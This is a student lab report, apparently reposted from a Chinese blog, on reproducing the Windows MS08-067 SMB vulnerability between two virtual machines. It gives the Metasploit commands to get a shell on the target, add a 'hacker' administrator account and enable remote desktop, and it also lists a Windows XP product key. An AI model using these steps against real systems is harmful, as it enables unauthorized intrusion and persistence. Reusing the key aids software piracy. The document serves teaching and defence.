MS08-067漏洞复现
20212329 2023-2024-2 《网络与系统攻防技术》大师剑MS08-067漏洞复现实践报告
课程:《网络与系统攻防技术》
班级:2123
指导老师:王志强
学生姓名:陈鹏宇
学号:20212329
实验日期:2024年5月21日
必修/选修:必修课
一、实验目的
本次实践的目的是实现中高危漏洞MS08-067利用工具的编写和复现环境的搭建。
1.镜像的准备
镜像选择xp sp3中文版。选择
zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso
下载链接:
ed2k://|file|zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso|630237184|EC51916C9D9B8B931195EE0D6EE9B40E|/

迅雷下载还算快
安装密钥:
M6TF9-8XQ2M-YQK9F-7TBB2-XGG88
如果有更多需求,在百度知道的https://zhidao.baidu.com/question/1987691629013126747.html这个问答中有更多的密钥可以使用。

2.概念
漏洞描述:MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
Windows 2000
Windows XP
Windows Server 2003
攻击机靶机
攻击机:Kali 192.168.49.145
靶机:Windows XP SP3镜像 192.168.49.147
二、实验内容及实验原理
1.漏洞原理
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。

2.端口详解
端口作用:我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。
需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

端口分类:端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。
动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。
同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。
常见端口:

端口作用:
信息收集
目标探测
服务判断
系统判断
角色分析
445端口: “135、137、138、139和445端口” 这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。
本次实践的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!
公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。
三、实验步骤
1.在虚拟机中安装Windows XP SP3系统和Kali系统。

2.虚拟机两个系统之间能够相互通信。
基本操作:关闭双方防火墙,互相测试能否ping通


3.打开Windows XP系统,开启445端口。
CMD中输入“netstat -sn”查看端口此处出现问题:初始时445端口未开启,经查阅资料使用
netsh firewall set portopening TCP 445 "SMB"
netsh firewall set portopening UDP 445 "SMB"
开启445端口,但输入“netstat -sn”仍然无法查询,换一个查询命令:
netsh firewall show portopening
确认445端口已开启

4.利用Metasploit复现漏洞
第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.49.147 --open
nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

或者使用 “nmap -sV -Pn 192.168.49.147” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。
nmap -sV -Pn 192.168.44.135

第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。
msfconsole
search ms08-067
第三步,进入漏洞模块,并查看相关的使用说明。
使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。
use exploit/windows/smb/ms08_067_netapi
show options
show targets
第四步,设置攻击机、受害机信息。
# 目标机ip
set RHOST 192.168.49.147
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.49.147
# 设置自动类型
set target 0
# 显示配置信息
show options


第五步,运行exploit反弹shell。
此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.49.147”。
exploit
ipconfig

第六步,在目标主机上创建文件夹及文件。
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
systeminfo



第七步,对目标XP主机进行深度提权。
# 增加普通用户
net user hacker 123456 /add
# 提升管理员权限
net localgroup administrators hacker /add
Windows DOM用户常用命令如下:
net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限
此时被攻击的主机新增“hacker”管理员如下图所示:

第八步,开启远程连接3389端口并进行远程操作。
首先用刚才提到的办法确认靶机3389端口已开启。
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.49.147
输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,就会成功远程登录XP系统。

实践结束前,要记得将新建的用户名hacker删除~
四、实验思考
本次实践深入复现了MS08-067远程代码执行漏洞,这一过程不仅加深了我对漏洞发现、验证漏洞、利用漏洞的完整流程的理解,而且通过实际操作Metasploit工具,我获得了宝贵的实践经验。在信息安全领域,理论与实践的结合是至关重要的,而这次实验正是这一原则的完美体现。
首先准备并安装了Windows XP SP3系统镜像,并确保了攻击机(Kali系统)与靶机(Windows XP系统)之间的网络连通性。这一步是整个实验的基础,也是检验网络配置能力的试金石。通过关闭防火墙和互相ping测试,确保了网络层面的顺畅,为后续步骤打下了坚实的基础。然后开启了靶机上的445端口,这是实现SMB服务的关键。在Windows XP系统中,通过netsh命令行工具,成功地设置了端口开放规则,并通过netstat命令确认了端口状态。这一过程让我对Windows系统的网络配置有了更深入的认识,也体会到了命令行工具在系统管理中的强大功能。在理解了MS08-067漏洞的原理之后,利用Nmap工具对靶机进行了端口扫描和漏洞验证。这一步是实验中技术含量较高的环节,它不仅考验了对扫描工具的掌握程度,也锻炼了分析扫描结果、判断系统漏洞的能力。当扫描结果显示靶机存在MS08-067漏洞时,这为后续的攻击操作提供了依据。随后进入了实验的核心阶段——利用Metasploit工具复现MS08-067漏洞。在Msfconsole中,通过search命令找到了对应的漏洞利用模块,并根据show options和show targets的输出,配置了攻击所需的参数。这一过程让我对Metasploit框架的强大功能有了直观的感受,也学习到了如何根据实际情况调整攻击参数。在成功设置攻击参数后,执行了exploit命令,靶机的shell被成功反弹到了的攻击机上。这一刻我深刻体会到了作为一名网络安全研究人员的责任感和使命感。通过在靶机上创建文件夹、文件,以及执行系统命令,进一步验证了已经获得的系统权限。为了更深入地控制靶机,还进行了深度提权操作,成功地在靶机上创建了一个新的管理员账户。这一步不仅展示了提权技术的强大,也提醒了在实际工作中要时刻注意权限管理的重要性。最后开启了靶机的远程桌面连接,并利用新创建的管理员账户成功登录,让我对远程桌面协议(RDP)有了更深入的理解。
虽然通过本次实践成功复现了MS08-067漏洞,但这只是网络安全领域的冰山一角。网络安全是一个庞大且复杂的领域,需要不断学习、不断实践、不断创新。通过本次实验,我更加明白了作为一名网络空间安全学生的责任和使命。对于如何进行防御,我认为首先应该从系统的基础安全做起,及时更新系统补丁,关闭不必要的端口,安装和更新杀毒软件。其次,利用防火墙进行流量监测,对数据包进行深入分析,尤其是对那些形如"**\ … \ … *"的恶意路径名进行检测。最为保险的方法是使用pcre正则表达式去匹配和过滤这些恶意数据包,从而有效地防御类似MS08-067这样的漏洞攻击。
本次实验不仅提升了我的技术能力,也加深了我对网络安全重要性的认识。在未来的学习和工作中,我将继续探索和研究,为保护网络空间安全贡献自己的力量。
参考资料
- https://bbs.huaweicloud.com/blogs/279948
- https://bbs.huaweicloud.com/blogs/297933
- https://bbs.huaweicloud.com/blogs/297998
- https://bbs.huaweicloud.com/blogs/308927
- https://bbs.huaweicloud.com/blogs/308930?utm_source=cnblog&utm_medium=bbs-ex&utm_campaign=other&utm_content=content
- https://bbs.kanxue.com/thread-251219.htm
- https://www.cnblogs.com/justforfun12/p/5239941.html
本文来自博客园,作者:{HYHr},转载请注明原文链接:https://www.cnblogs.com/dishearten/articles/18229280

浙公网安备 33010602011771号